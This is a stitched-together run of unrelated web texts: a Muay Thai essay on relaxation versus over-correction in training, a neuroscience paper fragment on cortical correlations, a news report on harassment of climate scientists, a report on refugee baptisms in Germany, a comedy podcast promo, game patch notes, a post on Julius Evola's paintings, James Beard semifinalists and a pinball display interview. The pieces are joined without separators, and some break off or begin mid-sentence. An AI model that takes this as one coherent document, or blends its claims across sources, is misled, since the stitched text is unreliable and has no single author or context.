There is no one to blame for this, as for so many of us the thing that simply glues our eyes to screens are those impeccable forms, the exquisite balance, all amid the raging torrent that is a fight. It practically defines Muay Thai, to have equipoise and art while malintentions are in the air. And this reaches to the Buddhistic elements of the sport and art, the way that Muay Thai is about overcoming. Overcoming one’s opponent, ultimately overcoming oneself. It’s all very beautiful and noble.
You can see also meaningful sources in this view because there is so little high-level (I’ll call it “real”) Muay Thai technique available in the west. Very, very few gyms have Thai trainers raised in the culture, ex-fighters with 100s of fights, people who can actually execute these beautiful techniques under pressure, and have gone through the nurture of a Thai kaymuay. Instead it is not uncommon for westerners who have spent a little time in Thailand, maybe even a lot of time, and had a handful or a fistful of fights, to be responsible for disseminating “proper” techniques, a shadow of the shadow that they learned themselves, to a room full of earnest students. This can at times result in an overt fascination and concentration on the techniques and principles that are known, as gyms celebrate their technical connections to Thailand. I mean this not only of instructors, but also in the self-critique of students, and they seek to improve drawing not only on in-person instruction, but also from what they can find in video sources too, of which there are some great examples now.
Following this, in western fight programs you can get arguments between approaches, as “brawlers” face “technical” fighters who seek to show off their Thainess throughout the fight, perhaps above all else. There is nothing wrong with any of this, and I really only describe it in some detail here because I believe it points to something, a difficulty in teaching (and learning) itself that ends up producing a Muay Thai that might look really great on the bag, in shadow or even on pads, but which can’t really fight in the sense of fight like a Thai, which is the ultimate aim. To accelerate to my conclusion prematurely: there are 7 year olds in Thailand who fight more like a Thai than many 7 year students of Muay Thai in the west. Why is that?
I’ll detour for a moment into Sylvie’s story. She just has written about her own struggles with letting loose, and the fears of looking bad. This is not a small thing, in fact it has made up a sizeable chunk of her mental and spiritual journey into the art. She was gifted with an amazing 70+ year old Thai teacher, Master K, who had the most beautiful Muay Thai we had ever seen. In fact, after all these years in Thailand, I’m not sure I’ve seen someone with more beautiful Muay Thai. The more we learn about “real” technique, the more we realize what he was saying and showing all along. But this was not only a blessing. The beauty of the movements also became a terribly high bar, a bar so high that made any imitation or approximation a mockery of his 6 decades of grace. We ultimately came to Thailand so Sylvie could somehow catch up to where Master K was, to get closer to it. It felt all too advanced. So in Thailand Sylvie dutifully pursued the right techniques, measuring every instruction, copying it faithfully over and over and over. She’s really good at figuring out what is physically being done – breaking down the mechanics – and duplicating it. And she had some excellent early teachers in Chiang Mai. But mystery of mystery, especially in the early going, very little of that technique was coming out in fights. Something was amiss. And I’m going to tell you what I think it was, and I think it is amiss in much of western training: too much love of precision.
This is the thing, when you find yourself in Thai camps – real camps developing real fighters from a young age – you tend to see very little correction. Very little. There is, at least from what we’ve seen, almost none of the western fear: If you practice mistakes you’ll be burdened with terrible flaws in your technique your whole life! Instead, kids are left to train and train, often with terrible, fundamental flaws. Bad body positions, horrible angles, it’s all there. There may be the occasional physical correction, or krus making fun of how awful someone looks (Thais are really good at this kind of humorous pantomime), but the entire western obsession with absolutely perfect technique is generally not there. Sometimes there are foundations of stance or basic forms cued in early on, but krus are not moving elbows into place, or calling time outs. Instead, there is just doing. For a long, long time in Thailand Sylvie wanted to get that “Thai kick” just right. That particular whip that is just so beautiful. She would stop krus and ask, and they would tell her this or that, but she just couldn’t do it. Like dutiful westerners we filmed it, we studied it, we broke it down, but it just wasn’t coming, even after a year here. There was one memorable time where Sylvie called over Wung, someone with incredible, but albeit at times Drunken Master, technique. She explained her problem with her kick, so he walked her over to the bag so she could show him her kick. She kicked the bag several times. He showed her his kick. But he just shook his head: “Your kick is good.” He didn’t see the problem, or at least didn’t see a need to correct it. To Sylvie, her kick was terrible. Ugly. No whip. Short. But Wung was a fighter’s fighter. Probably had 300 fights. That kick was good. You could hurt someone with that. That’s what mattered. Sylvie never kicked in fights, she believed her assessment was right. It was no good. In someways she even believes that still today. So long has the self-criticism of it has been ingrained. Sometimes trainers would say: your kick is too slow. Why was it slow? Take a guess.
The Fundamental Energy of Muay Thai
This is where I want to talk about where I think so many Muay Thai purists get it wrong, or at least are a little bit off in the west, though you certainly can’t blame anyone. There is a fundamental, underlying energy of Muay Thai. Every single strike and block and evasion exhibits this. It is the invisible force and form behind it all. If you can’t learn this ground energy then you are learning something that might look like Muay Thai in many ways, but it is not. It looks like this:
Muay Thai is the essential rhythming between these two states. It starts Green, goes Red, gets back to Green. You cannot start Muay Thai movements from any place other than Green. And if Red does not go back to Green, it isn’t Muay Thai. This is what is behind the basic movements of the Thai sway, very lightly moving between green and red and back. And this is why when westerners encounter Thai instructors they are told over and over: relax. Sabai, sabai.
I do think that a lot of people realize this in principle, but what I think fewer see is that when learning movements from the motivation of precision, you simply are not starting from Green. Instead, you have a mind that is distinctly critical and self-diagnosing, one that is readying the body to do something it does not know yet. You are readying tension. This can be okay if your goal was simply to memorize and master the body movement yourself. But what I believe is often missed is that while chasing the perfect technique you have accidentally been training a fundamental energy that is not Muay Thai. And that body movement has become emotionally, affectually coded as something like this:
When training in this way one is coding an emotional circuit into everything you have learned. Each time you move to execute those memorized movements you will enter into the same stress circuit, unconsciously. As you become more and more practiced, and gain more and more experience, the “relax” portion will grow, and the orange tension stage will shrink, but it still will be fundamentally be the same circuit: Orange to Red. You are not only training physical movements, you are also rehearsing the thoughts, and even more importantly the feelings and body states that will precede those movements. You can’t just take the technique and leave behind all the associative states that are part of the circuit. You take the whole thing with you. When training with Tak in Pattaya, or Rambaa, or really so many others – intimidating people to have standing opposite you – they would all tell Sylvie the same thing: I can see everything you are going to do before you do it. Now these are epically experienced people. They see everything. But what they are really seeing is Sylvie’s circuit – the rehearsed tension of self correction, the guarding of mistake, and then the decision to act, often followed by a quick self-diagnostic review and critique. And it is what they see in much of western trained Muay Thai. In a physio/emotional sense, it’s the 0-60 mph that characterizes Thai technique. If you are hovering at 30 or 45, you can’t perform 0-60, or 0-30 for that matter.
I’m going to cherry pick a moment in a technique to illustrate what I mean. It’s a GIF from an upcoming post by Sylvie, a Patreon supporter content private with Thai superstar Yodwicha at Kem’s Muaythai Gym in Khorat. He is showing how he likes to fake a teep and then knee. Look at the moment in the slowmotion version, after the fake…when he falls into complete ease:
This lulling into ease is not only important for the set up of the fake, its much more. It’s part of the essential rhythm of Muay Thai. This is not an ease that is added in after all the techniques are memorized, as an advanced part of experience, when one can finally relax. No, Thai kids will show this very same soft tidal shift between ease and explosion, its woven into the technique. It is part of the form itself, it comes at the very beginning. Another way of saying this is: If you are going to be looking closely at technique, you have to also include all the silence between the notes, the gaps…the relaxation. If you practice this move without feeling the full swing of states you will not be able to execute it in fights the way that it is meant to be used.
The Case of Alex
There is an incredibly illustrative example of the Thai non-corrective approach at the Petchrungruang gym here in Pattaya for the last 2 or 3 years. It really is eye opening. Alex is an Italian boy who moved into the gym as a full time fighter at the age of 12 or so, after the tragic loss of his mother. He more or less was adopted by the gym, and Pi Nu became his guardian in Thailand. He was a gangly, very sweet kid. Shy. Smart. He had come from a western upbringing and his initial training was in Italy under “kickboxing” style and rules and had trained and fought under different Thai gyms before this, but this was the first time he was just absorbed into a Thai setting, and taken as a Thai. He lacked confidence, would habitually be beat on and owned by top dog boys in the ring, not in a mean way, but a Thai way, he was very perserverant. He just kind of worked his way forward though it all. I could feel through it all that this kid was going to be a monster. He was just stuck in a very long and awkward phase where his body just wouldn’t coordinate, and it seemed to last forever.
All this while he developed a very wonky fighting style. It was noodled armed and hesitant. In the clinch and even in sparring he would put his ass back, a classic western body mistake, everything seemed off and out of whack. Even after winning a fight our trainer Pi Nu would pantomime the body positions he deemed ridiculous from Alex’s performance – all of them accurate but exaggerated to a single pose. But it was his fighting style, what he had to do to get through the days and days and days of training, against the Thai boys. I wasn’t around the gym much during this time, but Sylvie tells me that he almost never was corrected in his technique. Sylvie could see what he was doing wrong, and she tried to cue him to it in clinching (just mentioning the hips in vs. hips out position), but it really was to no avail. He just had a bizarre way about himself. The Thai krus never really concerned themselves with all his technical errors at all, other than making fun of how odd he looked, cracking the whole gym up. It wasn’t his technique, what they were really concerned about was his heart. He lacked confidence. He fought weakly. This was really their only concern it seemed.
I guessed that once Alex’s body caught up with itself his confidence would change. I guessed that his years of being the runt of a kaimuay litter, in a certain sense, would pay off with a transformation. And frankly I was shocked at what I saw in his last MAX Muay Thai fight, because I hadn’t seen him fight in a while. He still had something of his wonky style, but he had tightened it up, he had gained an aggressiveness, and a continuity in exchanges that really only comes from very long hours of just doing. And from not being a 12 or 13 year old any longer. As he turned the tide of that fight, landing endless knees and winging sudden elbows, it felt like he was being born to me. He is going to be a very fine fighter. Big promotions are getting in line trying to map out his future. But I’ll tell you none of that really came from the correction of technique. It did not come from: no, not that. Do this. He learned techniques, he stole techniques. He tried things out for himself. He, like water, kept finding his way down gravity’s way, but what he really was learning this whole time was something far below technique. It was something that could show itself even when all the technique seemed wrong or off. His style is still wonky but it’s his; it works together as a system that is unique to Alex but looks coherent. He is pretty incredible, and I’ll consider it an honor to have known him as a kid before his transformation.
Now this is a difficult teaching quandary for the west. One of the main reasons why Thais can teach in the way that they do is that fighters learned Muay Thai when they are children. They are able to start ingraining the proper Muay Thai emotional circuit from a very early age. And, because they have years to work with, and often an entire gym of boys, they can also be very lax with corrections. They have years to iron out the wrinkles and smooth over the errors. Corrections are spare, I believe, because corrections produce tension. Instead, corrections are produced though imitation, as the entire gym moves as a whole towards proper technique, and there are always more advanced boys to provide visual models for younger boys, techniques to emulate. And, as I said, corrections sometimes come through ribbing or ridicule, making a joke of someone’s style…which also does not produce tension. Western gyms just do not have these kinds of advantages.
So how to transmit proper technique to largely adult students, in an atmosphere where technical knowledge itself may be limited? I think it really comes down to this. Above all else, no matter what you are training, you are first and foremost training the Thai movement from Green to Red, and back to Green. Everything is about this, nothing is outside of it. Train nothing without realizing that this physio/emotional circuit is what it is all about. Every technique, whether it be a block, a teep, a head kick, the Thai sway, a parry, a 5 punch combination, a lean back, is this circuit – and in clinch perhaps more than anything else, this is the circuit. See that any technique you learn which is not learned in this circuit will be impaired, when it come to actual fighting. Precision in the fighting Muay Thai of Thailand, comes out of repeated application, in contexts simulating fighting.
These are the things that Sylvie and I talk about, born out of her own experiences, frustrations and perseverance. I don’t think that Muay Thai is unique in its flow from ease to punctuation, and back to ease. You see this transference in all martial arts. What makes it perhaps more difficult to keep an eye on in Muay Thai is that as a living sport fighting art, meant for fighting, the pedagogy matters. More like boxing, less like Karate, the transitions from calm to strike or block and back are less formalized, the focus on energy transition becoming buried more in the aesthetic of the art, and its teaching methods. The teaching of Muay Thai in Thailand is so vastly different than how it is taught anywhere else in the world (there are no kaimuay full of fighting 10 year olds in the west), and the rulesets and scoring aesthetics, the underlying form of the art, the specific and spectacular transitions in energy can be lost. I am only a close observer, but to me Muay Thai is almost entirely composed of these transitions. The speed and fluidity of its fighting style comes out of its transitions, the contrasts between resting states and peak moments. It’s the contrast, the differential, that creates the art. And this celebration of the contrast, the transfer of calm to escalation and back, in the mode of the art, is in many ways what makes it uniquely Thai.
Power and Tension
It should be also said of course that the other spectrum of western Muay Thai fighting, the ass-kicking version, with some irony broadly speaking also participates in the same Orange to Red physio/emotional circuit as does technical learning. Instead of internal pressures of self-diagnosis that foreground any technique, you have the bracing or the build up to the strike or defense. Strong, aggressive tendencies also deny the movement from Green to Red and back.
John Boyd’s OODA Loop
I place this here as only a marker to future study if others want to think more deeply on this. Above is a model of perceptual action made by innovative military strategist John Boyd. There just is not enough space here to delve into |
correlation decreases by less than 50% (Figures ), demonstrating that fluctuations in activity between very distant cortical sites are still correlated. For critical systems, theory predicts that the decay in spatial correlation should be a power law function with an exponent close to zero, which ensures the existence of long-range correlations (Binney et al., 1992). In line with theory, the spatial correlations in monkey 1 and those with distance >1 mm in monkey 2 exhibit a linear tendency in log-log coordinates, with exponents of −0.24 ± 0.05 (Figures ). The 10 × 10 recording array with interelectrode distance of 0.4 mm limits our investigation of the spatial correlation function to roughly one order of magnitude from 0.4 to 4.5 mm of distance. On the other hand, 4.5 mm already captures a relatively large distance within one cortical area of a macaque's brain. A more definitive conclusion about whether a power law is a good approximation awaits future studies with the capability to record from a much wider spatial extent. It is interesting that the data and the model with ω = ∞ share the same set of critical exponents (Figures ), despite their differences in correlation structure. Whereas G was constant in the model (for ω = ∞), it changed systematically as a function of r in the data. Consequently, all patterns with the same size were equally probable in the model (Macke et al., 2011), whereas these probabilities differed in the data by up to 2 orders of magnitude. Therefore, the fact that the model and the data share the same set of exponents is non-trivial, suggesting that they belong to the same universality class. Open in a separate window Open in a separate windowAs delegates from 195 countries work diligently in Paris to hash out an international deal to tackle climate change, their work relies on the huge consensus of climate science that shows the world is headed for a dangerous future if greenhouse gas emissions are not curtailed. But back home in the United States, historically the biggest carbon emitter of all, climate science gets a much rockier reception. In fact, climate scientists find themselves and their work regularly under attack.
Not only are there organized efforts like Lamar Smith's House science committee issuing subpoenas and striving to discredit scientists, but harassment and hate mail arrives every day via the Internet. Their work has found itself in the crosshairs of a political ideology that has an ugly side.
InsideClimate News spoke to nearly a dozen climate scientists and communicators about the harassment they face. For them, death threats, sexist remarks, claims of fraud, bomb threats, letters laced with powdery substances, references to rape and Nazis have become almost standard. According to emails shared with ICN, messages range from derisive ("I hope your mental illness gets better") to downright threatening ("YOU ARE GOING TO HANG SOON!").
Katharine Hayhoe of Texas Tech University, who does outreach with evangelical Christians, says she can receive up to 200 emails and letters a day following a media appearance, telling her she's a fraud and a liar, threatening her family and challenging her religious views. People have also shown up unannounced and agitated at her office to confront her about her scientific views.
"One email I got said something like, 'I hope your child sees your head in a basket after you've been guillotined for all the fraud you climate scientists have been committing,'" Hayhoe said.
"There are people who become dedicated to following you, who have Google alerts set up on your name, who stalk your Twitter and Facebook accounts, who essentially make a career out of ridiculing and vilifying you," Hayhoe said.
An example of a hate message directed at a climate scientist and obtained by ICN.
While fervent public mistrust of established science is not unique to climate change (the anti-vaccination movement is another prominent example), the level of cruelty of climate harassment is alarming, and is also largely a U.S. phenomenon.
A recent poll by the Pew Research Center shows that only 45 percent of Americans—compared to 54 percent of people worldwide (and nearly 100 percent of working U.S. climate scientists)—believe climate change is a serious problem. Among Republicans, that percentage falls to 20 percent.
Another recent study, by PNAS, showed that the campaigns funded by fossil fuel companies to sow doubt about climate science have been remarkably effective in shaping public opinion in the U.S.
"This is more like politics, with nasty ads that often tell lies or half-truths, distort records," said Kevin Trenberth, a climate scientist at the National Center for Atmospheric Research in Boulder, Co. But unlike many politicians, "scientists don't have a superPAC to fight the claims. This is the new reality for us. Scientists moving into the realm of climate science need to be aware of this. Unfortunately, this is the new world we have to live in."
An example of a hate message directed at a climate scientist and obtained by ICN.
This phenomenon isn't unique to scientists either. Journalist Seth Borenstein, who covers climate science for the Associated Press, frequently gets harassed on social media. "Why can't we put these dangerous eco-terrorists in prison, or better yet, just execute them!" one Twitter user wrote in September, tagging Borenstein in the post.
The harassment gets scarier when it isn't contained to the Internet.
A few weeks after a local California magazine published a story about Benjamin Santer, an atmospheric scientist at Lawrence Livermore National Laboratory, the researcher got a knock on his front door at 10 p.m. By the time he answered it, there was a dead rat on his doormat and a yellow Hummer was speeding away from the house, its driver yelling profanity out the window. Santer's young son was upstairs at the time.
Michael Mann, a climate researcher at Penn State University, was left a suspicious looking package with a white powdery substance at his office. The FBI later determined it was cornmeal. Mann and nine other climate scientists also had their names, bios and for some pictures posted on the White Nationalist web forum Stormfront.org, a group whose members have been linked to the hate crime murders of nearly 100 people across the globe.
An example of a hate message directed at a climate scientist and obtained by ICN.
Harassment can be particularly jolting for young scientists, Trenberth said. Most science graduate programs offer some sort of media training, but they largely focus on how to effectively talk to journalists, not how to deal with a barrage of hate mail from the public that follows that interaction. For someone just a few years out of their PhD, an onslaught of personal threats and questions to their scientific credibility is disturbing and confidence-shaking. As a result, young scientists often retreat to the ivory tower to focus solely on research, rather than continue to engage with the public, said Trenberth.
Researchers told InsideClimate News that when they were dealing with the first wave of climate-related harassment in the 1990s and early 2000s, they found themselves ill-equipped to deal with the torrent of attacks. Over the years, however, they have set up informal support networks to fight back.
An example of a hate message directed at a climate scientist and obtained by ICN.
In 2011, Mann and other researchers set up the Climate Science Defense Fund, a nonprofit that helps scientists defend themselves against politically motivated legal actions. The organization helps scientists find pro bono representation and raises funds to assist with legal costs.
"When I find myself with younger climate scientists who are subject to similar harassment, nasty emails, letters to superiors, I try to convey...[that] there's an infrastructure," Mann said.
Even with that help, hate mail and harassment takes a toll on scientists—and science. Researchers spend time and resources addressing denialists' debunked claims in a way the scientific community has never done before, according to a study published in May in the peer-reviewed journal Global Environmental Change. They also often downplay future climate risks to avoid being labeled an "alarmist" by climate contrarians, concluded the same study.
It can also take a toll on personal lives and relationships. And for some, the fear of being attacked, ridiculed or investigated remains years after the hate mail stops.
Hayhoe has found herself snapping at her son during particularly intense periods of attack. "That shouldn't be happening, it shouldn't be affecting my personal life," Hayhoe said. "As scientists we need to take a step back and ask, what toll is this having on me, on my professional work and on my personal life?"
Many of the researchers InsideClimate News spoke with said they have taken steps to protect themselves and their families from hate mail and harassment. Some have unlisted home addresses and phone numbers. Others have arranged that any mail or visitors get filtered through a central office at work, such as the headquarters of their university department.
"Some things are worth fighting for," said Santer, who has been the target of harassment since the mid-1990s. "A clear public understanding of the nature and causes of climate change is worth fighting for.
"If you are doing science that people care about, that is relevant, there will be pushback," he added. "You will receive not only justified or unjustified scientific criticism, but you will encounter attacks on your integrity, your character and your motives. You need to be prepared for them. They are the price of doing what we do. But it is important to remember they are just background noise."
The world needs more researchers talking about global warming right now, not less, climate scientists and communicators said.
"If you work in string theory or big bang cosmology, do great work inside the ivory tower. That's fine," said Hayhoe. "But when you are doing work on something like cancer, Ebola or climate change, there's an urgency. People are being harmed today. If we keep our results to ourselves, that's lives lost."
Ultimately, these attacks haven't stymied the flow of new climate research being published or the suring up of the scientific consensus for human-driven global warming. Many of the researchers InsideClimate News spoke with considered stepping out of the public eye at some point in their career, but in the end, none did.
"I am not looking back in anger," said Santer. "I really do think the main lesson I've learned through all this is wow, I get to come into work every day and learn something new about this incredible planet on which we live. That is an extraordinary privilege."Ina Fassbender/Reuters Migrant children from Syria in front of a Protestant church in Oberhausen, Germany, in November last year.
More than 3,500 Muslim refugees have turned to Christ and been baptised in Germany in the last two years, a new survey reveals.
Churches report that many of the refugees being baptised had converted in their home countries such as Syria and Iraq, and especially Iran, but had lived in fear of being murdered if they disclosed their new faith.
As soon as they were able to flee and find safety in Germany, they were able to live openly in Christ and be baptised.
All Germany's 20 Protestant state Churches and the five largest free Churches were surveyed by the German evangelical organisation Idea.
The survey found that most of those baptised are former Muslims from Iran, Iraq and Syria.
There were more than 2,500 baptisms in the Evangelical Free Churches and more than 1,000 in the Federation of Pentecostal Churches. There were 850 baptisms in the Independent Evangelical Lutheran Church and 700 in the Union of Evangelical Free Churches, made up of Baptist and Brethren churches.
According to nine of 20 Protestant Churches, at least 1,000 refugees have been baptised since 2014.
Pastors were confident they could exclude baptisms for "purely opportunistic reasons", a spokesman for the Württemberg church told Idea.
The Evangelical Lutheran Church of Württemberg recorded as many as 300 Muslims baptised into the Christian faith. The Evangelical Church of Westphalia recorded 200 refugees baptised in the last three years, with many from Iran. The Evangelical Lutheran Church in Northern Germany reported "several hundred" baptised.
Some of them, such as from Iran, had previously been in contact with Christian house churches already in their homeland. Some churches have appointed special pastors to minister to the large numbers of Iranian refugees arriving in their parishes.
The Protestant Church in Hesse and Nassau counted up to 200 baptised refugees since 2015: "It is thus not a mass phenomenon, but does happen," Idea was told by the Church.
No pastor baptises a Muslim refugee "lightly", Idea was told. All converts are questioned as to their motives and faith, although this is not remotely an "an inquisitorial conscience control".Thanksgiving is the drinker’s holiday, a cause for a robot uprising, the benefits of three beers, I ruin a children’s magic show, an indecent proposal, winning at identity politics, who would you have a beer with, riots, class clowns, and a plus size erotic story; all that and more on this month’s Bonus Episode of The Dick Show!
To download this episode, Support Dick on Patreon!
Many of you will be spending long hours this week stuck in planes, trains, and automobiles this week trying to get back to your loved ones, so you can try to avoid them by screwing around on the internet in another room. That’s what the holidays are for. To help with that, I’ve got a double dose of Dick in your ear with this month’s bonus episode.
This bonus episode begin with a story of betrayal and double-crossing, when my brother-in-law tricks me into building a jungle gym for his son while he is out of town. It’s a classic tale of paying it forward until “the fuck stops here” on yours truly. But before that…
Everything in the world is half-assed. Imagine a bowl of Skittles. Now imagine that some small percentage of those Skittles are actually M&M’s. That’s because the guy at the factory filling up bags of Skittles didn’t give a fuck. He was just eating some M&M’s trying to get through his day and accidentally dumped them in the vat. The quality control guy also didn’t give a fuck because he was playing Candy Crush, and their factory manager didn’t give a fuck because he’s fighting with his wife over email, and the divisional directory of logistics didn’t give a fuck because his wifi never works anyway, and the COO didn’t give a fuck and neither did the CEO because why would they? They get paid either way. That’s the world we live in where every single purchase more complicated than watching an ad and clicking on a “Like” results in a bowl of Skittles I’d rather dump in the garbage than put in my mouth.
I propose a revolutionary “top down” idea to stem the tide of half-ass and cause the world less instances of rage-induced heads exploding. Pornsavers was a device that could change the world, the CEO Zap App is an app that can do the same–or maybe it’s stupid. You have to listen to find out. One thing can’t be argued with. If your brother-in-law asks you to help him put something together this holiday season, fake your own death.
Next, most of us might not remember our first time having sex, but we all remember in ultra high-definition and in crystal clarity the first time someone stole a joke from us, blurting it out in class to a deafening uproar of children’s laughter that still wakes me up in the middle of the night in a cold sweat.
I talk about joke thieves and hesitation and the magic of Three Beers. I also describe ruining a children’s birthday party magic show by turning three beers into four beers. If you think I ruined the show by heckling the magician, you would be wrong. I was the magician.
Then we have an erotic tale of big and beautiful proportions, a caller has an indecent proposal, Dustin has questions for Coach and asks me a question I can’t answer: who would I have a beer with if it could be anyone in history. Finally, I teach a man how to beat his girlfriend in an argument.
Thumbnail made handily by Brandon from Maximum! Panic. Check out his live stream to see how the sausage is made.
Comments
commentsUpdate: Pendragon is now up, check out the 1.121 Pendragon Test Server Notes
or by clicking the image below!
We highly suggest separating out your normal game directory from your Pendragon game directory *before* patching and testing on Pendragon. If you do not do this, you *will* experience issues when patching back to live. To force the live client to fix these issues, you will need to delete the mft.myp in your game's directory and run the patcher again.
Highlights
Display your valor at keep and tower sieges and be rewarded with our new contribution–based reward system!
Buffing and support classes have been given more active tools to control and impact the battle!
Alpha–striking is back on Assassins! Try out their improved Envenom and Stealth lines too!
Skald, Minstrel, and Bard classes have new speed–based buffs to dazzle their realm–mates with!
Light Tank stances and a new climb–wall ability allow them new utility and prowess on the battlefield!
Crafting has been sped up and simplified and SIegecrafting has been improved!
Crowd control has been given more potency as well as new counters to go along with it!
Several underused specializations have been given major facelifts on classes including Bainshees, Animists, Bonedancers, Paladins, Clerics, Druids, Shaman, and many more!
More Class Balance changes, along with several bug fixes, than could fit in the Highlights await those brave enough to venture onward through the notes!
The Pendragon test server will be coming downfor patch 1.121!For those interested in testing on Pendragon, follow the character copy process hereJulius Evola came to view Dadaism as decadent later in his life, and the Italian esotericist only spent a few years as a painter. But for fans of his writing and philosophy, the paintings he did in throughout his life hold a special fascination, and provide insights into his later philosophy.
Evola has been called “Italy’s foremost exponent on Dadaism between 1920 and 1923″ (according to Roger Griffin’s Modernism and Fascism, p. 39). Fifty-four of his paintings were exhibited in Rome in 1920, and an exhibition in Berlin included 60 paintings by Evola. and According to an essay on Dada on the website of New York’s Museum of Modern Art, Evola launched a Rome Dada season in April 1921, which included an exhibition at the Galleria d’Arte Bragaglia that included works by Mantuan Dadaists Gino Cantarelli and Aldo Fiozzi, as well as performances at the Grotte dell’Augusteo cabaret. Evola did readings from Tristan Tzara’s Manifeste dada 1918 and said that Futurism was dead, causing an uproar.
Evola’s intellectual autobiography, The Path of Cinnabar, provides insights into his foray into the art world in the chapter “Abstract Art and Dadaism.” He was attracted to Dada for its radicalism, since it “stood for an outlook on life which expressed a tendency towards total liberation, conjoined with the upsetting of all logic, ethic and aesthetic categories, in the most paradoxical and baffling ways” (p. 19). He quotes Tzara: “What is divine within us, is the awakening of an anti-human action” and cites a Dadaist philosophy with a premise in keeping with Evola’s thoughts on the Kali Yuga:
Let each person shout: there is a vast, destructive, negative task to fulfil. To swipe away, and blot out.In a world left in the hands of bandits who are ripping apart and destroying all centuries, an individual’s purity is affirmed by a condition of folly, of aggressive and utter folly. (p. 19)
Evola says that such an emphasis on the absurd seems, at an external level, analogous methods used by schools of the Far East such as Zen, Ch’an, and Lao Tzu’s writings.
If some of Evola’s paintings seem ugly, it’s not without purpose and intent from the artist. In 1920’s Arte astratta, Evola outlined his theory that “passive aesthetic needs were subordinate to the expression of an impulse towards the unconditioned.” Dadasim, as Evola understood it, was not to create art as it’s usually understood, but “signalled the self-dissolution of art into a higher level of freedom” (Cinnabar, p. 20-21).
It was during the Dadaist period of his life that Evola started reading about esotericism. He met neo-Pythagorean occultist Arturo Reghini in the early 1920s. He quit painting in the early 1920s, and stopped writing poetry in 1924–not to pursue either again for more than 40 years (according to Gwendolyn Toynton’s essay “Mercury Rising” at Primordial Traditions). Although Evola left the Dadaist movement after a few years, in an interview in 1970 he said that the movement even today “remains unsurpassed in the radicalism of its attempt to overturn not only the world of art, but all aspects of life” (Cinnabar, p. 257).
The following paintings are compiled from numerous sites on the Internet. I believe this is the most complete and detailed collection of Evola paintings on the web (in English, at least).
Early works (1916-1918):
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The painting below appears to have sold at Christie’s for $43,152. A different source gives the date as 1920-21:
The following painting, according to the book Alchemical Mercury: A Theory of Ambivalence by Karen Pinkus, is now in the Kunsthaus of Zurich. On one of the many geometric blocks, Evola has written “Hg” (the symbol for Mercury) in red ink. According to Pinkus, “this is a very interesting gesture, especially as the inscription seems entirely disjoined from the composition itself, as if it had been an afterthought, and a reflection of the troubled relationship between modern chemistry as abstraction and alchemical materiality.”
This oil painting is hanging on a wall of the National Gallery of Modern Art in Rome (according to Guido Stucco’s introduction to The Yoga of Power):
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This oil-on-cardboard painting comes up in past auction searches for Evola’s work:
The following two works were published in Evola’s 1920 book Arte astratta: Posizione teorica, 10 poemi, 4 composizioni (Rome: P. Maglione & G. Strini). You can see the other two compositions in a online scan of the book at the website of The International Dada Archive at the University of Iowa Libraries. Evola’s essay “Abstract Art” is available in English translation in the book Dadas on Art.
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Middle Works (early 1920s):
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Late paintings:
Numerous sources on the web, including academic papers and art auction houses, show paintings by Evola that he did much later in his life, several which are shown below. If any readers know where to find information about Evola’s later works in English, I would greatly appreciate being contacted in order to update this section.
This painting was listed at an art auction website, and said to be painted in 1945:
The following two paintings are cited in Julius Evola: L’Altra Faccia Della Modernita by Francesca Ricci and appear on the website of the Fondazione Julius Evola.
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For more posts on radical traditionalism and Julius Evola, please click to visit the archives.
Interested in seeing more of Julius Evola’s artwork? Check out this video, which has additional images:
And this French TV interview, with English subtitles, is Julius Evola on Dada:The semifinalists for the Restaurant and Chef Awards for the 2016 James Beard Awards were just released. There are six names from Dallas. The list goes back to the voting board and the finalists will be announced on March 25, along with the nominations for the Book, Journalism, Broadcast Media, and Restaurant Design Awards.
The 2016 James Beard Awards Gala will be held at the Lyric Opera of Chicago on Monday, May 2. The Foundation’s Book, Broadcast & Journalism Awards Dinner will take place at Pier Sixty at Chelsea Piers in New York City on Tuesday, April 26.
Congrats to:
Outstanding Wine Program
Four Seasons Resort & Club Dallas at Las Colinas, Irving, TX
Rising Star of the Year
Misti Norris, Small Brewpub, Dallas
Best Chef in Southwest
Omar Flores, Casa Rubia, Dallas
Matt McCallister, FT33, Dallas
Teiichi Sakurai, Tei-An, Dallas
David Uygur, Lucia, Dallas
The complete list of semifinalists.For nearly five years, XPin has been the collector community’s choice for re-engineered replacement displays. With a strict adherence to quality control and an eye for innovative design, Brett Davis has engineered a bevy of replacement parts for our beloved games. With his newest innovation, 7Volution, he has also changed the way we play our games as well. Credit Dot Pinball is pleased to present an interview Mr. Davis about his beginnings, innovations, business philosophies and new products.
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Credit Dot: How long has Xpin been in the pinball business?
Brett Davis: The XPin brand has been in existence since September of 2011, which is when the first distributors started to receive their product. The actual http://www.xpinpinball.com website when live in January 2012.
CD: What were some of the first Xpin displays offered for sale?
BD: That’s a tough one. Because of the product line, it only makes sense to offer all similar products at once, so it would be all of my Williams and Bally displays. They were all released about the same time. The Dot Matrix displays were released a little bit later.
CD: Is there a history between Xpin and Pinscore? There is some overlap in the products offered.
BD: There is some is some history between XPin and Pinscore. I am the original designer of the Pinscore products. When I chose to separate myself from Pinscore, the original Pinscore designs became the property of Marco Specialties because they owned the name Pinscore. This forced me to re-engineer what I had done to make XPin.
CD: What makes the XPin product a better choice for aftermarket displays as opposed to those of your competitors?
BD: There are a couple of reasons that XPin is a better choice for aftermarket replacements. First, each product is a true re-engineering, or re-design of the original product. I did a lot of research into the failings that occurred with the original designs. I guess you can say it was a little forensic engineering. I chose to avoid copying the original design because in doing so you just duplicate the problems that caused them to fail in the first place. Second, technology today is so much more capable than it was 20-30 years ago. The majority of failures that occur due to the circuit design can be eliminated with newer technology and different circuits. Third, using modern manufacturing methods, reliability and cost can be controlled to make a quality product. Obviously with exceptions to components and the circuit boards, all XPin products are manufactured here in the US.
CD: Can you share some of your best selling display kits at the moment?
BD: The XPin bestsellers are the Williams System 11 displays and the XP-DMD4096 (dot matrix) displays.
CD: Can you tell me a little about your groundbreaking 7Volution display kit?
BD: Modern technology is what makes 7Volution possible. Over the years people have hacked the game code, modified the MPU boards, added wires to the harness, all to make 7-digit scoring possible. The problem is that once you choose to go down that mod path, it’s hard to go back. Also, if you are not an experienced tech, making the mod is fairly daunting. 7Volution’s prime goal was to be a plug and play solution: no mods, no cut traces, no rom changes needed. The heart of 7volution plugs into the MPU and watches the display data. When it sees that the score boundary has been crossed, it jumps in and takes control and displays the new score…and then keeps track of it. If it wasn’t for the processing power of new technology, 7Volution wouldn’t be possible.
CD: Where did the idea for integrating a seventh digit originate?
